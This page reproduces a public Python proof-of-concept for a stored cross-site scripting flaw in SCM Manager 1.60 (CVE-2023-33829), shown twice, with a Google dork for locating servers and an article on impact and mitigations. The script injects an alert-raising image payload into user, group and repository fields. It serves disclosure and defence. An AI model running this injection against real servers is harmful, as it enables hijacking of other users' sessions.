SCM Manager 1.60 - Cross-Site Scripting Stored (Authenticated)

Exploit Author: neg0x Analysis Author: www.bubbleslearn.ir Category: WebApps Language: Python Published Date: 2023-05-25
#!/usr/bin/python3

# Exploit Title: SCM Manager 1.60 - Cross-Site Scripting Stored (Authenticated)
# Google Dork: intitle:"SCM Manager" intext:1.60
# Date: 05-25-2023
# Exploit Author: neg0x (https://github.com/n3gox/CVE-2023-33829)
# Vendor Homepage: https://scm-manager.org/
# Software Link: https://scm-manager.org/docs/1.x/en/getting-started/
# Version: 1.2 <= 1.60
# Tested on: Debian based
# CVE: CVE-2023-33829

# Modules
import requests
import argparse
import sys

# Main menu
parser = argparse.ArgumentParser(description='CVE-2023-33829 exploit')
parser.add_argument("-u", "--user", help="Admin user or user with write permissions")
parser.add_argument("-p", "--password", help="password of the user")
args = parser.parse_args()


# Credentials
user = sys.argv[2]
password = sys.argv[4]


# Global Variables
main_url = "http://localhost:8080/scm" # Change URL if its necessary
auth_url = main_url + "/api/rest/authentication/login.json"
users = main_url + "/api/rest/users.json"
groups = main_url + "/api/rest/groups.json"
repos = main_url + "/api/rest/repositories.json"

# Create a session
session = requests.Session()

# Credentials to send
post_data={
'username': user, # change if you have any other user with write permissions
'password': password # change if you have any other user with write permissions
}

r = session.post(auth_url, data=post_data)

if r.status_code == 200:
print("[+] Authentication successfully")
else:
print("[-] Failed to authenticate")
sys.exit(1)

new_user={

"name": "newUser",
"displayName": "<img src=x onerror=alert('XSS')>",
"mail": "",
"password": "",
"admin": False,
"active": True,
"type": "xml"

}

create_user = session.post(users, json=new_user)
print("[+] User with XSS Payload created")

new_group={

"name": "newGroup",
"description": "<img src=x onerror=alert('XSS')>",
"type": "xml"

}

create_group = session.post(groups, json=new_group)
print("[+] Group with XSS Payload created")

new_repo={

"name": "newRepo",
"type": "svn",
"contact": "",
"description": "<img src=x onerror=alert('XSS')>",
"public": False

}

create_repo = session.post(repos, json=new_repo)
print("[+] Repository with XSS Payload created")


SCM Manager 1.60 – Cross-Site Scripting Stored (Authenticated): A Deep Dive into CVE-2023-33829

SCM Manager, a popular open-source platform for managing source code repositories, has long been praised for its simplicity and flexibility. However, a critical vulnerability discovered in version 1.60 — CVE-2023-33829 — exposes a severe security flaw: stored cross-site scripting (XSS) that can be exploited by authenticated users with write permissions.

Understanding the Vulnerability

Stored XSS occurs when malicious scripts are injected into a web application and persistently stored in the database. Unlike reflected XSS, which requires user interaction to trigger the payload, stored XSS is executed automatically whenever the affected data is rendered — making it particularly dangerous.

In the case of SCM Manager 1.60, the vulnerability arises from insufficient input validation and sanitization in several user-facing fields:

  • User display name
  • Group description
  • Repository description

These fields allow arbitrary HTML and JavaScript input without proper escaping, enabling attackers to embed malicious code that executes when viewed by other users.

Exploitation Workflow: Real-World Example

Let’s walk through the exploit demonstrated in the public PoC (Proof of Concept) code, which illustrates how a malicious actor can leverage authenticated access to inject persistent XSS payloads.


#!/usr/bin/python3

import requests
import argparse
import sys

parser = argparse.ArgumentParser(description='CVE-2023-33829 exploit')
parser.add_argument("-u", "--user", help="Admin user or user with write permissions")
parser.add_argument("-p", "--password", help="password of the user")
args = parser.parse_args()

user = sys.argv[2]
password = sys.argv[4]

main_url = "http://localhost:8080/scm"
auth_url = main_url + "/api/rest/authentication/login.json"
users = main_url + "/api/rest/users.json"
groups = main_url + "/api/rest/groups.json"
repos = main_url + "/api/rest/repositories.json"

session = requests.Session()

post_data = {
    'username': user,
    'password': password
}

r = session.post(auth_url, data=post_data)

if r.status_code == 200:
    print("[+] Authentication successfully")
else:
    print("[-] Failed to authenticate")
    sys.exit(1)

new_user = {
    "name": "newUser",
    "displayName": "<img src=x onerror=alert('XSS')>",
    "mail": "",
    "password": "",
    "admin": False,
    "active": True,
    "type": "xml"
}

create_user = session.post(users, json=new_user)
print("[+] User with XSS Payload created")

new_group = {
    "name": "newGroup",
    "description": "<img src=x onerror=alert('XSS')>",
    "type": "xml"
}

create_group = session.post(groups, json=new_group)
print("[+] Group with XSS Payload created")

new_repo = {
    "name": "newRepo",
    "type": "svn",
    "contact": "",
    "description": "<img src=x onerror=alert('XSS')>",
    "public": False
}

create_repo = session.post(repos, json=new_repo)
print("[+] Repository with XSS Payload created")

Explanation: This Python script automates the exploitation of CVE-2023-33829. It begins by authenticating to the SCM Manager API using provided credentials. Once authenticated, it creates a new user, group, and repository — each with a <img src=x onerror=alert('XSS')> payload in their respective fields.

Because the application fails to sanitize these inputs, the script is stored in the backend database. When any user views the list of users, groups, or repositories, the malicious script executes in their browser — triggering a JavaScript alert.

Why This is Dangerous

Stored XSS in SCM Manager isn’t just a theoretical risk. It has real-world implications:

  • Session Hijacking: Malicious scripts can steal session cookies or redirect users to phishing sites.
  • Privilege Escalation: If the XSS payload includes code to modify user roles or permissions, attackers can gain administrative access.
  • Defacement: An attacker could inject HTML to alter the UI, mislead users, or damage the organization's reputation.

Even with a low-level authenticated user, the attack can propagate across the entire team — especially in shared environments where multiple users view the same repositories or groups.

Security Implications and Risk Assessment

Severity CVSS Score Impact
High 8.1 (CVSS v3.1) Stored XSS enables persistent, automatic exploitation
Authentication Required Yes Attackers need write permissions — not full admin access
Exploitability High Public PoC available; automation possible

Key Insight: The fact that this vulnerability affects multiple endpoints (users, groups, repositories) increases the attack surface. An attacker can chain exploits across different components, making it harder to detect and mitigate.

Mitigation and Best Practices

Organizations using SCM Manager must act immediately to reduce risk:

  • Upgrade to Version 1.61 or later: The vendor has patched this vulnerability in newer releases. Always stay updated.
  • Input Sanitization: Implement strict sanitization for all user-input fields. Use libraries like DOMPurify or OWASP ESAPI to filter out dangerous HTML/JS.
  • Role-Based Access Control (RBAC): Limit write permissions to trusted users only. Avoid granting broad access to non-admin users.
  • Content Security Policy (CSP): Deploy CSP headers to restrict script execution, even if XSS is injected.
  • Regular Audits: Conduct security reviews of all API endpoints that accept user input.

Expert Tip: Never assume that "user-friendly" features like customizable display names or descriptions are safe. All user input should be treated as potentially malicious until validated.

Conclusion

CVE-2023-33829 is a stark reminder that even open-source tools with strong reputations can harbor serious vulnerabilities. The stored XSS in SCM Manager 1.60 underscores the importance of rigorous input validation and continuous security monitoring.

For developers and security teams, this incident highlights the need to treat every user-facing field as a potential attack vector. By adopting proactive defense strategies — including code sanitization, role restrictions, and CSP — organizations can significantly reduce the risk of such exploits.